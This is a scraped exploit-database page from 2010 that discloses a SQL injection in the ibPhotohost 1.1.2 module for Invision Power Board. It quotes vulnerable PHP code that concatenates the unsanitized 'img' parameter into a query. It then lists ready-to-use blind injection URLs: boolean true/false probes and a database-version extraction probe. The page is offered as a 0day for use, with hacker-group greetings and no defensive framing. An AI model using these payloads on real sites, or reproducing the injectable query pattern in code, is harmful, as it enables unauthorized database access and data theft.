[webapps / 0day] - ibPhotohost 1.1.2 SQL Injection Vulnerabi
Posted on 21 September 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>ibPhotohost 1.1.2 SQL Injection Vulnerability | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Exploit category: webapps / 0day | Exploit author: fred777' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>============================================= ibPhotohost 1.1.2 SQL Injection Vulnerability ============================================= ################################################# + + Title: ibPhotohost 1.1.2 SQL Injection + Author: fred777 - [fred777.5x.to] + Link: http://mods.invisionize.com/index.php/f/7609 + Vuln: index.php?autocom=photohost&CODE=04&img=[SQL Injection] + Greetzz to: back2hack,free-hack,hackbase,c-c + Contact: nebelfrost77@googlemail.com + ################################################# --[ Vuln Code ] -- $id = $this->ipsclass->input['img']; $this->ipsclass->DB->simple_construct(array( 'select' => '*', 'from' => 'imgupload', 'where' => 'imgupload_id=' . $id, 'order' => 'imgupload_date asc' )); ################################################ --[ Exploitable ]-- http://site/index.php?autocom=photohost&CODE=04&img=[SQL Injection] http://site/index.php?autocom=photohost&CODE=04&img=1+and+1=1--+ => true http://site/index.php?autocom=photohost&CODE=04&img=1+and+1=0--+ => false http://site/index.php?autocom=photohost&CODE=04&img=1+and+substring(version(),1,1)=5 ################################################ # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-21]</pre></body></html>